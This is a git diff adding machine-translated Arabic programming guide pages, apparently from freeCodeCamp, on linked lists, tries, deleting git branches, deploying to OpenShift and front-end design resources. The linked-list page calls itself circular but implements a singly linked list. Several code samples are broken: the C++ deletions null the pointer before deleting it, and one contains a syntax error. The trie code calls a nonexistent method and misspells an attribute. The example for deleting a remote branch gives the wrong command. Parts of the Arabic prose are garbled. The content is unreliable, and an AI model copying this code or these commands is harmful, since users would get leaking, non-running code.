+1.  قائمة مرتبطة دائرية
+
+القوائم المرتبطة الدائرية هي قائمة مرتبطة بشكل فردي حيث العقدة الأخيرة ، يشير الحقل `next` إلى العقدة الأولى في التسلسل.
+
+\`
+
+قائمة مرتبطة دائرية
+
+* * *
+
+ `     head 
+      | 
+      | 
+    +-----+--+      +-----+--+      +-----+--+ 
+` 
+
+\-> | 1 | o -----> | 2 | --- -----> | 3 | س  
+| + ----- + - + + ----- + - + + ----- + - + |  
+| |
+
+* * *
+
+\`
+
+**الوضعية**
+
+حل مشكلة المشاركة بالوقت من قبل نظام التشغيل.
+
+في بيئة المشاركة بالوقت ، يجب أن يحتفظ نظام التشغيل بقائمة بالمستخدمين الحاليين ويجب أن يسمح لكل مستخدم بشكل متناوب باستخدام جزء صغير من وقت وحدة المعالجة المركزية (CPU) ، مستخدم واحد في كل مرة. سيقوم نظام التشغيل باختيار مستخدم ، أو السماح له باستخدام كمية صغيرة من وقت وحدة المعالجة المركزية ثم الانتقال إلى المستخدم التالي.
+
+بالنسبة لهذا التطبيق ، يجب ألا يكون هناك أية مؤشرات NULL ما لم يكن هناك أحد يطلب وقت وحدة المعالجة المركزية على الإطلاق ، أي أن القائمة فارغة.
+
+## العمليات الأساسية
+
+1.  إدراج
+
+لإضافة عنصر جديد إلى القائمة.
+
+\`
+
+الإدراج في البداية
+
+* * *
+
+*   إنشاء عقدة جديدة مع البيانات المعطاة.
+*   أشر إلى عقدة جديدة `next` `head` القديم.
+*   ضع `head` على هذه العقدة الجديدة.
+
+الإدراج في الوسط / النهاية
+
+* * *
+
+الإدراج بعد العقدة X.
+
+*   إنشاء عقدة جديدة مع البيانات المعطاة.
+*   نقطة العقدة الجديدة `next` لالقديمة X `next` .
+*   النقطة X `next` هذه العقدة الجديدة.  
+    \`
+
+**تعقيد الوقت: O (1)**
+
+1.  حذف
+
+لحذف العنصر الموجود من القائمة.
+
+\`
+
+الحذف في البداية
+
+* * *
+
+*   الحصول على العقدة التي وجهها `head` كما تيمب.
+*   `head` إلى نقطة `next` .
+*   ذاكرة حرة تستخدمها عقدة Temp.
+
+الحذف في المنتصف / النهاية
+
+* * *
+
+الحذف بعد العقدة X.
+
+*   الحصول على العقدة التي أشار إليها `X` كمؤشر.
+*   نقطة X `next` Temp `next` .
+*   ذاكرة حرة تستخدمها عقدة Temp.  
+    \`
+
+**تعقيد الوقت: O (1)**
+
+1.  عبور
+
+للسفر عبر القائمة.
+
+\`
+
+اجتياز
+
+* * *
+
+*   احصل على العقدة التي يتم توجيهها بواسطة `head` كتيار.
+*   تحقق مما إذا كان Current ليس خاليًا وقم بعرضه.
+*   أشر إلى الحالي إلى `next` والانتقال إلى الخطوة أعلاه.  
+    \`
+
+**تعقيد الوقت: O (n) // Here n هو حجم قائمة الارتباط**
+
+## التنفيذ
+
+### تنفيذ C ++ من قائمة مرتبطة بشكل فردي
+
+ `// Header files 
+ #include <iostream> 
+ 
+ struct node 
+ { 
+    int data; 
+    struct node *next; 
+ }; 
+ 
+ // Head pointer always points to first element of the linked list 
+ struct node *head = NULL; 
+` 
+
+#### طباعة البيانات في كل عقدة
+
+ `// Display the list 
+ void printList() 
+ { 
+    struct node *ptr = head; 
+ 
+    // Start from the beginning 
+ while(ptr != NULL) 
+ { 
+    std::cout << ptr->data << " "; 
+    ptr = ptr->next; 
+ } 
+ 
+ std::cout << std::endl; 
+ } 
+` 
+
+#### الإدراج في البداية
+
+ `// Insert link at the beginning 
+ void insertFirst(int data) 
+ { 
+    // Create a new node 
+    struct node *new_node = new struct node; 
+ 
+    new_node->data = data; 
+ 
+ // Point it to old head 
+ new_node->next = head; 
+ 
+ // Point head to new node 
+ head = new_node; 
+ 
+ std::cout << "Inserted successfully" << std::endl; 
+ } 
+` 
+
+#### الحذف في البداية
+
+ `// Delete first item 
+ void deleteFirst() 
+ { 
+    // Save reference to head 
+    struct node *temp = head; 
+ 
+    // Point head to head's next 
+ head = head->next; 
+ 
+ // Free memory used by temp 
+ temp = NULL: 
+ delete temp; 
+ 
+ std::cout << "Deleted successfully" << std::endl; 
+ } 
+` 
+
+#### بحجم
+
+ `// Find no. of nodes in link list 
+ void size() 
+ { 
+    int length = 0; 
+    struct node *current; 
+ 
+    for(current = head; current != NULL; current = current->next) 
+ { 
+    length++; 
+ } 
+ 
+ std::cout << "Size of Linked List is " << length << std::endl; 
+ } 
+` 
+
+#### البحث
+
+ `// Find node with given data 
+ void find(int data){ 
+ 
+    // Start from the head 
+ struct node* current = head; 
+ 
+ // If list is empty 
+ if(head == NULL) 
+ { 
+    std::cout << "List is empty" << std::endl; 
+    return; 
+ } 
+ 
+ // Traverse through list 
+ while(current->data != data){ 
+ 
+    // If it is last node 
+    if(current->next == NULL){ 
+        std::cout << "Not Found" << std::endl; 
+        return; 
+    } 
+    else{ 
+        // Go to next node 
+        current = current->next; 
+    } 
+ } 
+ 
+ // If data found 
+ std::cout << "Found" << std::endl; 
+ } 
+` 
+
+#### الحذف بعد العقدة
+
+ `// Delete a node with given data 
+ void del(int data){ 
+ 
+    // Start from the first node 
+ struct node* current = head; 
+ struct node* previous = NULL; 
+ 
+ // If list is empty 
+ if(head == NULL){ 
+    std::cout << "List is empty" << std::endl; 
+    return ; 
+ } 
+ 
+ // Navigate through list 
+ while(current->data != data){ 
+ 
+    // If it is last node 
+    if(current->next == NULL){ 
+        std::cout << "Element not found" << std::endl; 
+        return ; 
+    } 
+    else { 
+        // Store reference to current node 
+        previous = current; 
+        // Move to next node 
+        current = current->next; 
+    } 
+ 
+ } 
+ 
+ // Found a match, update the node 
+ if(current == head) { 
+    // Change head to point to next node 
+    head = head->next; 
+ } 
+ else { 
+    // Skip the current node 
+    previous->next = current->next; 
+ } 
+ 
+ // Free space used by deleted node 
+ current = NULL; 
+ delete current; 
+ std::cout << "Deleted succesfully" << std::endl; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CXVt/1)
+
+### بايثون تنفيذ قائمة مرتبطة Singly
+
+ `class Node(object): 
+    # Constructor 
+    def __init__(self, data=None, next=None): 
+        self.data = data 
+        self.next = next 
+ 
+    # Function to get data 
+ def get_data(self): 
+    return self.data 
+ 
+ # Function to get next node 
+ def get_next(self): 
+    return self.next 
+ 
+ # Function to set next field 
+ def set_next(self, new_next): 
+    self.next = new_next 
+ class LinkedList(object): 
+    def __init__(self, head=None): 
+        self.head = head 
+` 
+
+#### إدراج
+
+ `    # Function to insert data 
+ def insert(self, data): 
+    # new_node is a object of class Node 
+    new_node = Node(data) 
+    new_node.set_next(self.head) 
+    self.head = new_node 
+    print("Node with data " + str(data) + " is created succesfully") 
+` 
+
+#### بحجم
+
+ `    # Function to get size 
+ def size(self): 
+    current = self.head 
+    count = 0 
+    while current: 
+        count += 1 
+        current = current.get_next() 
+    print("Size of link list is " + str(count)) 
+` 
+
+#### البحث
+
+ `    # Function to search a data 
+ def search(self, data): 
+    current = self.head 
+    found = False 
+    while current and found is False: 
+        if current.get_data() == data: 
+            found = True 
+        else: 
+            current = current.get_next() 
+    if current is None: 
+        print("Node with data " + str(data) + " is not present") 
+    else: 
+        print("Node with data " + str(data) + " is found") 
+` 
+
+#### الحذف بعد العقدة
+
+ `    # Function to delete a node with data 
+ def delete(self, data): 
+    current = self.head 
+    previous = None 
+    found = False 
+    while current and found is False: 
+        if current.get_data() == data: 
+            found = True 
+        else: 
+            previous = current 
+            current = current.get_next() 
+    if current is None: 
+        print("Node with data " + str(data) + " is not in list") 
+    elif previous is None: 
+        self.head = current.get_next() 
+        print("Node with data " + str(data) + " is deleted successfully") 
+    else: 
+        previous.set_next(current.get_next()) 
+        print("Node with data " + str(data) + " is deleted successfully") 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CVq3/2)
+
+**مزايا**
+
+1.  القوائم المرتبطة هي بنية بيانات ديناميكية ، والتي يمكن أن تنمو وتقلص ، وتخصيص ، وإلغاء تخصيص الذاكرة أثناء تشغيل البرنامج.
+2.  يتم تنفيذ الإدراج وحذف العقدة بسهولة في قائمة مرتبطة في أي موقف.
+
+**سلبيات**
+
+1.  يستخدمون ذاكرة أكثر من صفائف بسبب الذاكرة المستخدمة من قبل المؤشرات الخاصة بهم ( `next` `prev` ).
+2.  الوصول العشوائي غير ممكن في القائمة المرتبطة. علينا الوصول إلى العقد بالتتابع.
+3.  إنها أكثر تعقيدًا من المصفوفة. إذا كانت اللغة تدعم التحقق من المصفوفة تلقائيًا ، فإن Arrays ستخدمك بشكل أفضل.
+
+#### ملحوظة
+
+يجب علينا استخدام free () في C وحذفها في C ++ لتحرير المساحة المستخدمة بواسطة عقدة المحذوفة ، بينما يتم تجميع المساحة الحرة في Python و Java تلقائيًا بواسطة أداة تجميع البيانات المهملة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/data-structure-trie/index.md b/client/src/guide/arabic/miscellaneous/data-structure-trie/index.md
new file mode 100644
index 0000000000..6f4552cc91
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/data-structure-trie/index.md
@@ -0,0 +1,125 @@
+---
+title: Data Structure Trie
+localeTitle: هيكل البيانات تري
+---
+## مقدمة في تري
+
+كلمة trie هي عبارة عن inflix لكلمة "re **trie** val" ، لأن trie يمكنه العثور على كلمة واحدة في قاموس يحتوي على بادئة الكلمة فقط.  
+Trie هي بنية بيانات استرجاع البيانات الفعالة ، باستخدام trie ، يمكن إدخال تعقيدات البحث إلى الحد الأمثل ، أي طول السلسلة.  
+إنه هيكل شجرة متعدد الاتجاهات مفيد لتخزين السلاسل على الأبجدية ، عندما نقوم بتخزينها.  
+وقد تم استخدامه لتخزين قواميس كبيرة من اللغة الإنجليزية ، على سبيل المثال ، الكلمات في برامج التدقيق الإملائي.  
+ومع ذلك ، فإن عقوبة على tries هي متطلبات التخزين.
+
+## ما هو تري؟
+
+إن trie عبارة عن شجرة تشبه بنية البيانات التي تخزن السلاسل ، وتساعدك في العثور على البيانات المرتبطة بهذه السلسلة باستخدام بادئة السلسلة.  
+على سبيل المثال ، لنفترض أنك تخطط لإنشاء قاموس لتخزين السلاسل مع معانيها. يجب أن تتساءل لماذا لا يمكنني ببساطة استخدام جدول تجزئة ، للحصول على المعلومات.  
+نعم ، من الواضح أنك تستطيع الحصول على معلومات باستخدام جدول تجزئة ، لكن جداول التجزئة لا يمكنها العثور إلا على البيانات التي تتطابق فيها السلسلة تمامًا مع تلك التي أضفناها. ولكن تري يعطينا القدرة على العثور على سلاسل مع البادئات المشتركة ، حرف مفقود في وقت أقل ، بالمقارنة مع جدول تجزئة.  
+تريلي عادة ، يبدو شيء من هذا القبيل ،
+
+![حاكموا](//discourse-user-assets.s3.amazonaws.com/original/2X/c/c43e222a6f9152512d73f97b8117db5c074bbc8e.png)
+
+هذه صورة لتري ، الذي يخزن الكلمات {assoc، algo، all، also، tree، trie}.
+
+## كيفية تنفيذ تري؟
+
+دعونا تنفيذ trie في python ، لتخزين الكلمات مع معانيها من القاموس الإنجليزي.
+
+ `ALPHABET_SIZE = 26 # For English 
+ 
+ class TrieNode: 
+    def __init__(self): 
+        self.edges = [None]*(ALPHABET_SIZE) # Each index respective to each character. 
+        self.meaning = None # Meaning of the word. 
+        self.ends_here = False # Tells us if the word ends here. 
+` 
+
+وكما ترى ، يبلغ طول الحواف 26 حرفًا ، حيث يشير كل مؤشر إلى كل حرف في الأبجدية. 'A' المقابلة لـ 0 ، 'B' to 1 ، 'C' to 2… 'Z' to 25th index. إذا كان الحرف الذي تبحث عنه يشير إلى `None` ، فهذا يعني أن الكلمة غير موجودة في trie.
+
+يجب على Trie نموذجية تنفيذ هاتين الوظيفتين على الأقل:
+
+*   `add_word(word,meaning)`
+*   `search_word(word)`
+*   `delete_word(word)`
+
+بالإضافة إلى ذلك ، يمكن للمرء أيضا إضافة شيء من هذا القبيل
+
+*   `get_all_words()`
+*   `get_all_words_with_prefix(prefix)`
+
+#### مضيفا كلمة إلى تري
+
+ `    def add_word(self,word,meaning): 
+        if len(word)==0: 
+            self.ends_here = True # Because we have reached the end of the word 
+            self.meaning = meaning # Adding the meaning to that node 
+            return 
+        ch = word[0] # First character 
+        # ASCII value of the first character (minus) the ASCII value of 'a'-> the first character of our ALPHABET gives us the index of the edge we have to look up. 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            # This implies that there's no prefix with this character yet. 
+            new_node = TrieNode() 
+            self.edges[index] = new_node 
+ 
+        self.edges[index].add(word[1:],meaning) #Adding the remaining word 
+` 
+
+#### استرجاع البيانات
+
+ `    def search_word(self,word): 
+        if len(word)==0: 
+            if self.ends_here: 
+                return True 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch)-ord('a') 
+        if self.edge[index]== None: 
+            return False 
+        else: 
+            return self.edge[index].search_word(word[1:]) 
+` 
+
+`search_word` الدالة `search_word` ما إذا كانت الكلمة موجودة في Trie أم لا. بما أن قاموسنا هو قاموس ، فنحن بحاجة إلى جلب المعنى أيضًا ، والآن دعونا نعلن عن وظيفة للقيام بذلك.
+
+ `    def get_meaning(self,word): 
+        if len(word)==0 : 
+            if self.ends_here: 
+                return self.meaning 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            return "Word doesn't exist in the Trie" 
+        else: 
+            return self.edges[index].get_meaning(word[1:]) 
+` 
+
+#### حذف البيانات
+
+بحذف البيانات ، تحتاج فقط إلى تغيير المتغير `ends_here` إلى `False` . فعل ذلك لا يغير البادئات ، لكن اللقطات تحذف معنى ووجود الكلمة من trie.
+
+ `    def delete_word(self,word): 
+        if len(word)==0: 
+            if self.ends_here: 
+                self.ends_here = False 
+                self.meaning = None 
+                return "Deleted" 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            return "Word doesn't exist in the Trie" 
+        else: 
+            return self.edges[index].delete_word(word[1:]) 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CWbr)
+
+## مصادر
+
+*   لمزيد من القراءة ، يمكنك تجربة هذا البرنامج التعليمي [Topcoder](https://www.topcoder.com/community/data-science/data-science-tutorials/using-tries/) .
+*   أيضا ، تعليمي من [geeksforgeeks](http://www.geeksforgeeks.org/trie-insert-and-search/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md b/client/src/guide/arabic/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md
new file mode 100644
index 0000000000..9d410cffe8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md
@@ -0,0 +1,66 @@
+---
+title: Delete a Git Branch Both Locally and Remotely
+localeTitle: حذف فرع بوابة على حد سواء محليا وعن بعد
+---
+// محليًا ((إذا كنت تعرف ماذا تفعل!) فرع git -d localBranchName
+
+ `// and then if you need to... 
+ // on remote 
+ git push origin :remoteBranchName 
+` 
+
+## متى تحذف الفروع؟
+
+عادة في تدفق المساهمة `Branches` هي طريقة رائعة للعمل على ميزات مختلفة ، والإصلاحات ، وما إلى ذلك أثناء عزلهم عن مصدر قاعدة البيانات الرئيسي. لذلك قد يكون لشركة ريبو فرع `master` وفروع منفصلة للعمل على ميزات مختلفة.
+
+عادة بمجرد الانتهاء من العمل على ميزة ومن المستحسن حذف الفرع.
+
+## سير العمل حذف:
+
+دعنا نقول لديك repo تسمى `AwesomeRepo` ، واستضافته على Github ، في موقع مثل `https://github.com/my_username/AwesomeRepo` .
+
+دعونا أيضا نفترض أن لديها فروع مثل:  
+`master`  
+`feature/some-cool-new-stuff`  
+`fix/authentication`  
+`staging`
+
+ﻟﻼﺗﺳﺎق ، ﺳوف ﻧﻔﺗرض أن أﺳﻣﺎء اﻟﻔروع ھﻲ ﻧﻔﺳﮭﺎ ﻋﻟﯽ `local` وﮐذﻟك ﻋﻟﯽ وﺣدة `remote` .
+
+الآن ، لنفترض أنك انتهيت من هذا الإصلاح للمصادقة وتريد إزالة `fix/authentication` الفرعية.
+
+## حذف فرع REMOTELY:
+
+ببساطة قم بما يلي:
+
+`git push --delete <remote> <branch>` .
+
+على سبيل المثال: `git branch --delete origin fix/authentication`
+
+إذا كنت تحصل على الخطأ
+
+ `error: unable to push to unqualified destination: remoteBranchName The destination refspec neither matches an existing ref on the remote nor begins with refs/, and we are unable to guess a prefix based on the source ref. error: failed to push some refs to 'git@repository_name' 
+` 
+
+ربما قام شخص آخر بالفعل بحذف الفرع. حاول مزامنة قائمة فروعك باستخدام
+
+ `git fetch -p 
+` 
+
+دليل git يقول -p ، -rune بعد إحضار ، إزالة أي فروع تتبع عن بعد والتي لم تعد موجودة على جهاز التحكم عن بعد.
+
+## حذف الفرع محليًا:
+
+أول دفعة إلى فرع آخر غير الفرع الذي تريد حذفه:
+
+`git checkout <branch>` .
+
+على سبيل المثال: `git checkout master`
+
+لن يسمح لك Git بحذف الفرع الذي تعمل عليه حاليًا.
+
+ثم تابع مع الحذف:
+
+`git branch -D <branch>` .
+
+على سبيل المثال: `git branch -D fix/authentication`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/deploying-to-openshift/index.md b/client/src/guide/arabic/miscellaneous/deploying-to-openshift/index.md
new file mode 100644
index 0000000000..f6dff90317
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/deploying-to-openshift/index.md
@@ -0,0 +1,67 @@
+---
+title: Deploying to Openshift
+localeTitle: نشر إلى Openshift
+---
+إذا قمت بنشر تطبيقاتك في Heroku ، فيمكنك فقط تحميل 5 تطبيقات ، إذا كنت ترغب في نشر تطبيقات جديدة ، فستحتاج إلى التحقق من حسابك ببطاقتك الائتمانية.
+
+![هيروكو خطأ](//discourse-user-assets.s3.amazonaws.com/original/2X/2/27219029fea50142009b1521d5268c06ded15b57.jpg)
+
+هذه هي الخطوات التي تحتاج إلى اتباعها للانتشار في [OpenShift](https://www.openshift.com/app/account/new) .
+
+## المتطلبات
+
+*   حساب في [OpenShift](https://www.openshift.com/app/account/new)
+*   لدينا التطبيق في مستودع [Git](//forum.freecodecamp.com/t/wiki-git-resources/13136)
+
+## التغييرات في شفرتك
+
+*   `app.listen` مع `process.env.OPENSHIFT_NODEJS_PORT` و `process.env.OPENSHIFT_NODEJS_IP` ، كلاهما يتطلب.
+*   في **الحزمة package.json** حدد `"main": 'yourMainFile.js` و `"script": { "start": "node yourMainFile.js" }`
+
+## نشر التطبيق لدينا
+
+*   [إضافة تطبيق جديد](https://openshift.redhat.com/app/console/application_types)
+
+![اختر خرطوشة برمجة الويب](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e07c056ab351ee6bd728b8d5f648b3fac9c6bf86.jpg)
+
+*   اختر اسمًا (سيكون الإدخال الثاني نفسه لجميع التطبيقات التي تستخدمها)
+
+\[ ![املأ اسمنا ونطاقنا](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9e929388f653ca9725e4dc2ca823f06cee493bc2.jpg)
+
+*   املأ عنوان Git URL واسم فرعنا
+
+![حيث يمكنك العثور على عنوان URL الخاص بـ Git واسم فرعك في Github](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1a720934d9c2fd79a4aaa14b4ca07e6c1df7f2ce.jpg)
+
+![املأ عنوان URL الخاص بـ Git واسم الفرع الخاص بك](//discourse-user-assets.s3.amazonaws.com/original/2X/9/989e44c1af80c9b8f26883a3d897f377b3a27ca4.jpg)
+
+*   "إنشاء التطبيق". وسوف يستغرق بعض الوقت
+
+![ستتم إعادة توجيهك هنا عند الانتهاء من النشر](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f0de3f67ec78b75df6786301560a903f76aec022.jpg)
+
+*   أدخل إلى "التطبيق" ، ثم إلى التطبيق الخاص بك وتحقق من أنها بدأت.
+
+![قائمة التطبيقات الخاصة بك](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d71ea954dd23eb341243bf568a3d67b682590274.jpg)
+
+![تفاصيل التطبيق الخاص بك](//discourse-user-assets.s3.amazonaws.com/original/2X/4/497bacfd85fd2c8e815413df1e942a1a42f045f0.jpg)
+
+## متغيرات البيئة
+
+في حالتي لدي قاعدة البيانات الخاصة بي في mLab ، لذلك أحتاج إلى إنشاء بعض المتغيرات البيئة.
+
+*   [تثبيت روبي و rhc.](https://developers.openshift.com/getting-started/windows.html#client-tools)
+
+يعمل **rhc** فقط مع الإصدارات 1.9.3 و 2.0.0 من Ruby.
+
+*   [إعداد جهازك](https://developers.openshift.com/getting-started/windows.html#rhc-setup)
+
+إذا كنت تواجه مشكلة في إعداد `rhc` ، فجرّب [هذه](http://stackoverflow.com/questions/28896733/rhc-setup-gives-error-no-such-file-dl-import) الإجابة على StackOverflow.
+
+*   [متغيرات البيئة المخصصة](https://developers.openshift.com/managing-your-applications/environment-variables.html#custom-variables)
+
+`rhc env set VARIABLE=value VARIABLE2=value2 -a App_Name` .
+
+يجب إعادة تشغيل التطبيق لتحميل المتغيرات.
+
+إذا وجدت طريقة أفضل لحل هذا القيد. لا تتردد في المساهمة في الويكي الخاص بنا ومشاركته معنا.
+
+يمكنك التحقق من التطبيق يعمل على [http://voting-pitazo.rhcloud.com/#/polls](http://voting-pitazo.rhcloud.com/#/polls)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/design-resources-for-front-end-developers/index.md b/client/src/guide/arabic/miscellaneous/design-resources-for-front-end-developers/index.md
new file mode 100644
index 0000000000..e827ce0a52
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/design-resources-for-front-end-developers/index.md
@@ -0,0 +1,65 @@
+---
+title: Design Resources for Front End Developers
+localeTitle: موارد التصميم لمطوري الواجهة الأمامية
+---
+هل أنت مطور ويب مستقل لحسابك الخاص أم أنك تفكر في أن تصبح واحدًا؟ ربما كنت قد ذهبت إلى برنامج تدريب على الترميز أو تخرجت من دورة تطوير الواجهة الأمامية. ماذا حدث بعد ذلك؟
+
+ستحصل على أول عميل لك. قد يكون مجرد صديق يحتاج إلى موقع شخصي. لا يهم. أنت لا تريد أن تبدو هواة. تريد أن تبدو جيدة. تريد أن تبدو مهنية.
+
+هنا الحاجة…
+
+يمكن أن يعني التصميم الجيد الفرق بين موقع ويب يبدو "محلي الصنع" وواحد يبدو احترافيًا. إذا كنت ستجني المال في تطوير الويب لحسابك الخاص فلا يمكنك أن تجعل المواقع التي لا تعرض مبادئ التصميم الجيدة. معظم الناس (أي العملاء المحتملين) يعرفون التصميم الجيد حتى إذا كانوا لا يستطيعون إخبارك عن سبب تصميمه الجيد. لذلك ، فإنه من المفيد أن يكون لديك فهم لمفاهيم التصميم الأساسية. في الواقع ، أود أن أقول أنه من الضروري للغاية إذا كنت ستحصل على مهنة ناجحة كمطورين مستقلين في الواجهة الأمامية.
+
+إذن، أين تبدأ؟ إلى أين تذهب للتعرف على التصميم؟ لحسن الحظ ، لست بحاجة إلى دفع المال لتعلم أساسيات التصميم الأساسية. هناك العديد من الموارد المتاحة بنسبة 100٪ مجانًا. إليك 10 موارد (معظمها مجانية) تساعدك على أن تكون مطورًا أماميًا مستقلاً أفضل لأنها ستساعدك على أن تكون مصممًا أفضل. إستمتع!
+
+## 1\. [Hackdesign.org](https://hackdesign.org)
+
+هيا لنبدأ مع الأساسيات. إذا كنت ترغب في إنتاج أعمال جذابة وذات مظهر احترافي ، فإنك بحاجة إلى تعلم أساسيات التصميم. اسمحوا لي أن أقول هذا مرة أخرى. تحتاج إلى تعلم أساسيات التصميم. نعم ، هذا مهم. صدقنى. سوف يساعدك هذا على التميز عن جميع المطورين المستقلين الذين لا يتعلمون ذلك ، وهذا يعني أنك ستحصل على المزيد من العمل. المزيد من العمل يعني المزيد من المال. هل تفهم ما اعني؟ من المهم.
+
+اذهب من خلال دروس Hackdesign من البداية إلى النهاية ودعها تغرق فيها. إذا كنت تريد أن تسجل للحصول على دروس أسبوعية يتم إرسالها إلى عنوان بريدك الإلكتروني. ومع ذلك ، لا تحتاج إلى القيام بذلك. يمكنك فقط النقر فوق "عرض كافة الدروس" والبدء في العمل من خلاله. انها متعمقة الى حد ما. إنه ليس شيئًا ستفعله في غضون ساعتين. قضاء بعض الوقت الخطير هنا على هذا المورد.
+
+## 2\. [تصميم للقراصنة](http://designforhackers.com)
+
+تم تلخيص سبب ديفيد كادفي لكتابة الكتاب بشكل جيد في هذا الاقتباس:
+
+> "يمكننا إنشاء منشورات وبطاقات بريدية وعروض PowerPoint التقديمية مع رسوم متحركة. يمكننا إنشاء مدونات وملصقات وحتى أكواب قهوة ... لكن القليل منا لا يعرفون القراءة والكتابة."
+
+الشيء نفسه ينطبق على إنشاء مواقع الويب. لا يعني مجرد إنشاء موقع ويب يعمل أنه يمكنك إنشاء موقع ويب جميل جيد التصميم. هذا لا يعني أنه يمكنك إنشاء موقع ويب يبدو احترافيًا. أنا متأكد من أنك تعرف ما أعنيه. تصميم جيد يبدو المهنية. فترة. لذلك ، قراءة هذا الكتاب. لدى Kadavy أيضًا موقعًا على الويب في designforhackers.com ، حيث يمكنك الاشتراك في دورة عبر البريد الإلكتروني تسمى "Design Pitfalls".
+
+## 3\. [دورة UX Crash Course: 31 أساسيات](http://thehipperelement.com/post/75476711614/ux-crash-course-31-fundamentals)
+
+تذكر أنك صاحب عمل حر وهذا يعني أنك ترتدي العديد من القبعات. إن مجرد معرفة كيفية التعليمة البرمجية لن يؤدي إلى قطعها إذا كنت ترغب في أن تكون مستقلاً عظيماً ، وهذا أمر مطلوب بشدة.
+
+يعد "مسار التحطم" هذا من تأليف جويل مارش أمرًا رائعًا لتعلم أساسيات UX. يقول: "القائمة التالية ليست كل ما يمكنك تعلمه في UX. إنها نظرة عامة سريعة ، لذا يمكنك الانتقال من الصفر إلى البطل في أسرع وقت ممكن". ماذا تنتظر؟ البدء!
+
+## 4\. [UX Crash Course: User Psychology](http://thehipperelement.com/post/87574750438/ux-crash-course-user-psychology)
+
+الجزء الثاني من دورة UX Crash Course الرائعة لـ Joel Marsh: 31 أساسيات. يلخص لماذا هذا مهم:
+
+> "... كلما فهمت مشاعر المستخدمين وأفكارهم وتصرفاتهم ، كلما كان المصمم أفضل".
+
+أنت تريد أن تكون مطورًا رائعًا ومصممًا رائعًا ، أليس كذلك؟ إذا لم تكن قد قرأت هذا الآن. حسنًا ، كيف ستصبح مصممًا رائعًا ، أو حتى جيدًا ، إذا كنت لا تعرف شيئًا عن مستخدميك؟ عليك التفكير في هؤلاء المستخدمين. إنها مهمة لأنك تبني مواقع ويب يستخدمها الناس. كن لطيفا معهم. تعلم شيئا عن علم نفس المستخدم.
+
+## 5\. [لوحة المواد](https://www.materialpalette.com/)
+
+يمكن للون لوحة جذابة لوحدها أن تقطع شوطا طويلا نحو جعل التصميم يبدو محترفا. لذلك ، إذا كنت قد حصلت على عناصر التصميم الأساسية التي ذكرتها أعلاه ولكنك ما زلت غير متأكد من كيفية تطبيق نظرية الألوان ، فضع إشارة مرجعية على هذا الموقع الآن وابدأ في استخدامه. ما عليك سوى النقر على لونين مثل السحر تظهر لوحة ألوان كاملة وجميلة. مواقع جيدة أخرى [**للوحات**](http://www.flatuicolors.com) الألوان هي [**flatuicolors**](http://www.flatuicolors.com) و [**coolors**](http://www.coolors.co) .
+
+## 6\. [أساسيات Adode Photoshop](https://helpx.adobe.com/photoshop/tutorials.html)
+
+ستحتاج على الأقل إلى التعامل مع أساسيات Photoshop من أجل العمل مع الصور وإنشاء رسومات جاهزة للويب. استعرض هذه البرامج التعليمية المجانية في Adobe Photoshop CC على موقع Adobe. يتم تنفيذها بشكل جيد للغاية ، وتغطي الأساسيات ، وستكون كافية لتبدأ!
+
+## 7\. [أساسيات Adobe Illustrator](https://helpx.adobe.com/illustrator/tutorials.html)
+
+قد تفكر أنه بما أنك لست فنانًا تصويريًا ، فلا داعي لمعرفة كيفية استخدام Adobe Illustrator. خطأ! بالتأكيد ، ربما لن تقوم بإنشاء عمل فني خاص بك من البداية. ومع ذلك ، ماذا لو كنت تريد استخدام فن ناقلات شخص آخر؟ لنفترض أنك عثرت على صورة جميلة للمتجهات على iStock والتي تريد استخدامها. ومع ذلك ، فإن اللون غير صحيح أو كنت ترغب في حذف جزء من الصورة. ليس هناك أى مشكلة. تعلم أساسيات Illustrator وقم بإنجاز المهمة في أي وقت من الأوقات!
+
+## 8\. [عناصر أسلوب الطباعة المطبقة على شبكة الإنترنت](http://webtypography.net)
+
+الطباعة قد تبدو مملة بعض الشيء ولكنها مهمة. حتى إذا لم تكن ملتزمًا بتقديم جميع المعلومات المعروضة هنا على الذاكرة ، فإن معرفة هذه الأشياء في عالم التصميم المثالي ستساعد على زيادة وعيك. اقرأ قليلا في كل مرة. يعجبني هذا الموقع لأن المعلومات يتم تقديمها في حكايات بسيطة وسهلة الهضم. على سبيل المثال ، تحقق من قراءة دقيقة واحدة هذه على [**Letterpacing**](http://webtypography.net/2.1.7)
+
+## 9\. [_لا تجعلني أفكر_ ستيف كروج](http://www.amazon.com/Dont-Make-Me-Think-Usability/dp/0321344758)
+
